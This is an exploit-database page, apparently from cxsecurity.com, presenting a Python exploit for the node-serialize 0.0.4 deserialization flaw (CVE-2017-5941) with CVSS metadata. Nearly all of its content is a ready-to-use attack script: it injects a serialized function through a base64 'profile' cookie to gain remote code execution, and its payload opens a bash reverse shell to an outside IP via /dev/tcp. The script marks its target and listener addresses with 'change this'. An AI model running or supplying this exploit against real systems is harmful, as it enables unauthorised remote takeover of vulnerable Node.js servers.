Node.JS Remote Code Execution

2021.02.11
Credit: UndeadLarva
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution # Exploit Author: UndeadLarva # Software Link: https://www.npmjs.com/package/node-serialize # Version: 0.0.4 # CVE: CVE-2017-5941 import requests import re import base64 import sys url = 'http://192.168.100.133:8000/' # change this payload = ("require('http').ServerResponse.prototype.end = (function (end) {" "return function () {" "['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));" "console.log('still inside');" "const { exec } = require('child_process');" "exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this "}" "})(require('http').ServerResponse.prototype.end)") # rce = "_$$ND_FUNC$$_process.exit(0)" # code ="_$$ND_FUNC$$_console.log('behind you')" code = "_$$ND_FUNC$$_" + payload string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}' cookie = {'profile':base64.b64encode(string)} try: response = requests.get(url, cookies=cookie).text print response except requests.exceptions.RequestException as e: print('Oops!') sys.exit(1)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top